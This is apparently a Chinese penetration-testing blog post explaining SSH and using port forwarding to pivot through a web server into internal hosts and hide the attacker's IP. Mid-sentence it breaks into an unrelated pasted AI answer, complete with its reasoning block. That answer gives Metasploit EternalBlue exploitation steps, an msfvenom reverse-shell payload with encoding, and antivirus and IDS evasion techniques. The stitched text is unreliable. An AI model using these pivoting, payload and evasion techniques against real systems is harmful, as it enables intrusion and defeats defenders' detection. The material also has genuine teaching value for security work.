【渗透测试】SSH隧道原理

一、SSH协议简介

SSH(Secure Shell protocol)协议是应用层协议,OpenSSH 是SSH (Secure SHell)协议的免费开源实现,SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、 rcp ftp、 rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控件和文件传输过程的中的数据,并由此来代替原来的类似服务。

二、SSH工作原理

私钥KEYpri加密公钥KEYpub解密
1)server第一次启动sshd服务时候,会生成自己的私钥KEYser-pri,生成公钥KEYser-pub存放在/etc/ssh/ssh_host_*下
2)client用户发起ssh请求
3)server将自己的公钥KEYser-pub发送给client
4)client将server的公钥KEYser-pub存放于~/.ssh/known_hosts下,并开始生成自己的公私钥KEYcli-pub 和KEYcli-pri
5)client回传自己的公钥KEYcli-pub到server,此时server端有自己的私钥KEYser-pri和client的公钥KEYcli-pub,client端有自己的私钥KEYcli-pri和server的公钥KEYser-pub,之后可以使用公私钥加密通信了。
6)开始双向加密通信

要点:
/etc/ssh/ssh_host_* 是服务端放置自己的公钥的地方
~/.ssh/known_hosts 是客户端存放服务端公钥的地方
server端(keyser-pri+keycli-pub)keyser-pri用来发送数据时加密发送,keycli-pub用来接收client数据后解密
client端(keycli-pri+keyser-pub)keycli-pri用来发送数据时加密发送,keyser-pub用来接收client数据后解密

三、SSH协议组成

1)传输层协议:提供服务器认证,保密性和完整性,和可以压缩提高传输效率。基于TCP/IP连接
2)用户认证协议:为服务器提供客户的身份认证
3)连接协议:对接上层的网络安全应用协议
在这里插入图片描述

认证方式:
1)支持username-passwd认证
2)支持秘钥认证

四、SSH隧道技术

普通的ssh命令如下:
ssh root@192.168.1.1

创建隧道常用的参数说明:
-C:压缩传输,提高传输速度
-f:将ssh转入后台执行,不占用当前的shell
-N:建立静默连接(不回显ssh页面)
-g:允许远程主机连接本地用于端口转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态端口转发(socket代理)
-p:指定ssh端口

Q1、什么是端口转发
ssh会加密和解密ssh客户端与服务端的网络数据,ssh还可以将其他的tcp端口网络数据通过ssh链接来转发,并且是机密解密的(又称隧道)。而且一般情况下ssh协议是被允许通过防火墙的,所以很容易被攻击者利用。

Q2、ssh端口转发的优势
1)加密客户端和服务端之间通讯数据
2)可以突破防火墙的限制

1、本地转发(远程转发到本地-正向代理)

在这里插入图片描述

情景一:
A想访问B但是无法穿透防火墙,但是A可以对B发送SSH连接
所以在A上执行命令:
ssh -NL 54321[本地端口]:localhost[目标ip]:12345[目标端口] username[目标用户名]@B[ip/host] -p 22[目标ssh监听的端口]
然后输入B的ssh密码
含义是:在A上访问自己的54321端口相当于通过(B的)localhost的12345端口。
然后A在自己本地访问54321端口数据就会通过ssh发送给了B,然后B访问了自己的12345端口,这样就可以通过B的12345访问B的网络,本地端口54321转发到了远程主机去访问某个端口

情景二:
在这里插入图片描述

vps可以访问web server(192.168.2.11),但是不能访问data server(1.1.1.5),但是web server有两块网卡,可以使用ssh将vps的54321端口本地转发到远端的web server,通过web server去访问data server的3389端口(实际上是走了web server的另一块网卡1.1.1.6访问了data server的3389,把web server当成跳板机)
在hacker上控制vps执行命令:
ssh -CfNg -L 54321[本机端口]:1.1.1.5[目标ip]:3389[目标端口] username[跳板机用户名]@192.168.2.11[跳板机ip或host] -p 22[跳板机ssh监听端口]
在这里插入图片描述

查看本地54321端口是否连接:netstat -tulnp | grep “54321”
如果连接建立,此时vps访问自己的本地的54321端口就相当于借助web server的访问了data server的3389端口
vps上执行命令:rdesktop 127.0.0.1:54321 即可打开data server的3389远程桌面
或者hacker上执行命令:rdesktop 150.150.150.150:54321 也可以访问到data server的3389远程桌面

注意:
本地端口转发:是在本地监听一个端口,所有访问这个端口的数据都会通过ssh隧道传输到远端机器,由远端机器代理去访问某个端口。
本地端口映射:是把本地的某个端口转发到远端机器的指定端口。

2、远程转发(本地转发到远程-反向代理)

本地端口转发:是将本地的监听一个端口通过ssh转发到远端主机(服务器)的某个端口。(自己本地启端口给远端用)
远程端口转发:是在远端主机上监听一个端口,所有的访问远程主机的这个端口的数据都会通过ssh转发到本地对应的端口(让远端自己启端口给自己用)
在这里插入图片描述

情景一:
vps不能访问内网3台机器。Web server可以访问vps,data和域控都是纯内网机器,要想访问内网的data server的3389,可以使用ssh让web server主机监听一个端口,使web server把监听到的数据通过ssh隧道传输给本地对应的3399端口(web server跳板机)。
在hacker上控制vps执行命令:
ssh -CfNg -R 3399[本机端口]:1.1.1.5[目标ip]:3389[目标端口] username[跳板机用户名]@192.168.2.11[跳板机ip或host] -p 22[跳板机ssh监听端口]
在这里插入图片描述

【注意执行了-R参数】
vps上执行命令:rdesktop 127.0.0.1:3399 即可打开data server的3389远程桌面
或者hacker上执行命令:rdesktop 150.150.150.150:3399 也可以访问到data server的3389远程桌面

3、动态转发(socks5代理)

情景一:
在这里插入图片描述

操作vps,使用ssh动态代理,借助web server实现vps访问域控制器上的文件。
操作步骤:
1)vps执行让web server开启动态转发命令:
ssh -CfNg -D 8888[本地监听端口] username[用户名]@192.168.2.11[ip或host] -p 22[ssh监听端口]
2)vps本地给浏览器配置socks5 proxy代理:127.0.0.1:8888。
3)然后浏览器访问域控制器1.1.1.2即可。

情景二:
在这里插入图片描述

hacker本机不直接访问web server,而是走vps动态代理访问web server
操作步骤:
1)hacker上执行让vps开启动态转发命令:
ssh -CfNg -D 8888[本地监听端口] root[vps用户名]@150.150.150.150[ip或host] -p 22[ssh监听端口]
2)hacker本机设置浏览器socks5代理:127.0.0.1:8888
3)然后浏览器方位web server即可,此时web server被访问显示的ip是vps的,hacker的ip不显示
【本机操作见02-SSH动态代理】

五、进阶使用

1)进阶ssh多级跳板机动态代理
参数 -J 【jump-host】
语法:ssh -J [user@jump-host:port] [user@remote-host:port]
ssh -J [user1@jump-host1:port],[user2@jump-host2:port]… [user@remote-host:port]
示例:
ssh -J user1@host1,user2@host2,uesr3@host3 D-user@D-host
在这里插入图片描述

ssh代理了一圈(7台机器)最后从93机器登陆了55,但是在55机器上只能看到是93登录,并不知道最开始ip在哪
在这里插入图片描述

ssh开启动态代理从55出口出去+代理了一圈跳板机
此时配合本机的浏览器socks5代理(127.0.0.1:1080),即可伪装本机的ip,使用55的ip访问

2)scp多级跳板机传输文件
scp -o ‘ProxyJump jump-host1,jump-host2’ file.txt user@host:/my/dir
scp -o ‘ProxyJump user@host’ 123.txt user@host:/tmp/

3)动态代理(socks代理)配合goby
本地让vps启动动态代理
ssh -CfNg -D 8361 root@150.158.159.89 -p 5772
设置goby的代理127.0.0.1:8361
在这里插入图片描述

使用sshuttle也可以,只不过这样就不需要在goby上设置服务器了,因为会默认走

<think>好的,我现在需要处理用户关于漏洞扫描、漏洞利用、原理、利用方法、工具(比如MSF)、绕过IDS和反病毒侦察的请求。用户希望用底层逻辑解释每个知识点,并以表格形式呈现应用方式。首先,我得确保自己正确理解每个术语的定义和它们之间的关系。 首先,漏洞扫描。用户可能想知道这是如何工作的,底层逻辑可能包括识别系统弱点的方法,比如主动探测或被动分析。需要解释扫描器如何检测漏洞,比如通过签名匹配或异常检测。 接下来是漏洞利用,这里要区分漏洞本身和利用的过程。原理部分可能需要说明漏洞如何被触发,比如缓冲区溢出或注入攻击。利用方法可能涉及编写或使用现有的攻击代码,如Metasploit框架中的模块。 工具方面,用户提到了MSF(Metasploit Framework),这是核心工具,需要详细说明其功能和使用场景。此外,其他工具如Nmap、Nessus可能也需要提及,但用户特别要求MSF,所以重点放在那里。 绕过IDS和反病毒侦察,这部分比较复杂。需要解释入侵检测系统的工作原理,比如基于签名的检测或行为分析,然后讨论绕过技术,如混淆、加密、分阶段载荷等。可能还要提到反病毒软件的静态和动态分析绕过方法。 用户要求用底层逻辑解释,所以每个知识点需要分解到技术细节,比如漏洞扫描的签名匹配具体如何运作,漏洞利用中的内存管理问题,MSF如何生成有效载荷等。同时,应用方式需要用表格展示,可能需要分列每个知识点、底层逻辑、工具/方法、应用场景和示例。 需要确保回答结构清晰,逐步展开每个主题,同时保持中文表达准确。用户之前的提问关于弱口令,现在转向更技术性的渗透测试领域,可能用户是安全领域的学习者或从业者,需要详细且专业的解释,但保持易懂。 需要检查是否有遗漏的部分,比如绕过技术中的具体例子,或者工具的使用步骤。另外,表格需要简洁但信息丰富,可能需要合并相关知识点,比如将漏洞扫描和利用分开,但工具部分整合进去。 最后,确保使用正确的LaTeX格式,尤其是数学公式和独立公式的标记。但用户当前问题可能不涉及太多数学,不过底层逻辑中的某些原理可能需要公式,比如熵的计算,但可能不适用。需要专注于技术性解释而非数学公式。 总结步骤: 1. 定义每个术语(漏洞扫描、漏洞利用、绕过IDS等)。 2. 解释每个的底层原理。 3. 描述利用方法,尤其是MSF的使用。 4. 讨论绕过技术的方法和工具。 5. 整合成表格,分列知识点、逻辑、工具、应用、示例。 6. 确保回答符合之前的格式要求,如分点、表格、正确术语。 需要验证每个部分的技术准确性,比如漏洞扫描的主动/被动方法,MSF的模块类型,绕过IDS的编码技术等。可能参考OSI模型、攻击生命周期等框架来组织信息。 可能遇到的难点是如何将底层逻辑简明扼要地解释,同时保持专业性。需要平衡深度和易懂性,尤其是对于可能刚入门的用户。同时,表格需要信息密集但不冗长,可能需要使用缩写或常见术语,如NIDS、AV等。 最终,确保回答覆盖用户所有需求点,结构符合要求,并且信息准确可靠。</think>以下是关于**漏洞扫描、漏洞利用、绕过IDS/反病毒侦察**的底层逻辑解析与应用总结: --- ### 一、核心概念与底层逻辑 | **知识点** | **底层逻辑** | **工具/方法** | **应用场景** | **示例** | |------------------|-----------------------------------------------------------------------------|-----------------------------------------------------------------------------|---------------------------------|-----------------------------------| | **漏洞扫描** | 通过**主动探测**或**被动分析**识别目标系统的安全缺陷,匹配已知漏洞特征(如CVE编号)。 | - **主动扫描**:Nmap、Nessus<br>- **被动扫描**:Wireshark、Burp Suite | 网络资产风险评估、合规性检查 | 用Nessus扫描发现Apache Tomcat未授权访问漏洞(CVE-2020-1938) | | **漏洞利用** | 利用漏洞触发**非预期行为**(如代码执行、权限提升),依赖漏洞类型(栈溢出、逻辑缺陷等)。 | - **框架**:Metasploit Framework (MSF)<br>- **自定义脚本**:Python/PoC | 渗透测试、红队演练 | MSF调用`exploit/windows/smb/ms17_010_eternalblue`攻击Windows SMB服务 | | **绕过IDS** | 规避基于**签名检测**或**行为分析**的入侵防御系统,通过流量混淆、分阶段载荷等技术。 | - **编码**:MSF的`shikata_ga_nai`编码器<br>- **协议伪装**:DNS隧道、HTTP隐蔽信道 | 对抗网络流量监控 | 使用`Veil-Evasion`生成免杀载荷,绕过Snort规则检测 | | **绕过反病毒** | 绕过基于**静态特征**(哈希值)或**动态行为**(沙箱)的杀毒软件检测。 | - **加壳/混淆**:UPX加壳、代码混淆<br>- **内存注入**:Process Hollowing | 恶意软件分发、持久化攻击 | 使用`Cobalt Strike`生成无文件攻击载荷,绕过Windows Defender扫描 | --- ### 二、Metasploit Framework(MSF)核心应用 | **模块类型** | **底层逻辑** | **使用命令示例** | **作用** | |------------------|---------------------------------------------|---------------------------------------------|-------------------------------| | **Exploit模块** | 利用特定漏洞执行攻击载荷(Payload)。 | `use exploit/windows/smb/ms17_010_eternalblue` | 触发漏洞,获取系统控制权 | | **Payload模块** | 定义攻击成功后执行的代码(反向Shell、Meterpreter)。 | `set payload windows/meterpreter/reverse_tcp` | 建立与攻击者的通信信道 | | **Encoder模块** | 对Payload进行编码以绕过杀毒软件签名检测。 | `msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai` | 降低载荷特征可识别性 | | **Auxiliary模块**| 辅助功能(扫描、嗅探、Fuzz测试)。 | `use auxiliary/scanner/ssh/ssh_login` | 爆破SSH弱口令或收集信息 | --- ### 三、绕过技术的底层原理 1. **绕过IDS** - **流量混淆**:将攻击流量伪装为合法协议(如HTTP/DNS请求)。 - **分阶段载荷**:先传输无害代码,后续动态加载恶意模块(如Meterpreter的`stageless`模式)。 2. **绕过反病毒** - **静态绕过**:修改文件哈希(加壳、代码混淆)。 - **动态绕过**:延迟执行、检测沙箱环境(如检查CPU核心数、鼠标移动)。 --- ### 四、实战流程示例(以MSF为例) 1. **漏洞扫描** ```bash nmap -sV --script vuln 192.168.1.100 # 使用Nmap检测目标漏洞 ``` 2. **漏洞利用** ```bash msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOST 192.168.1.100 exploit # 触发漏洞并获取Meterpreter会话 ``` 3. **绕过检测** ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -f exe -e x86/shikata_ga_nai -o payload.exe ``` --- ### 五、总结 | **目标** | **底层依赖** | **关键技巧** | |------------------|------------------------------|------------------------------------------| | 漏洞扫描 | 特征匹配与协议分析 | 结合主动/被动扫描,减少误报率 | | 漏洞利用 | 漏洞触发条件的精确控制 | 利用MSF模块化设计快速适配不同场景 | | 绕过IDS/反病毒 | 对抗检测机制的本质理解 | 动态混淆 + 环境感知(如沙箱逃逸) | 通过理解漏洞生命周期(发现→利用→隐匿),结合工具链与底层逻辑,可系统化提升攻防对抗能力。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

久违 °

小菜鸟就要使劲飞

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值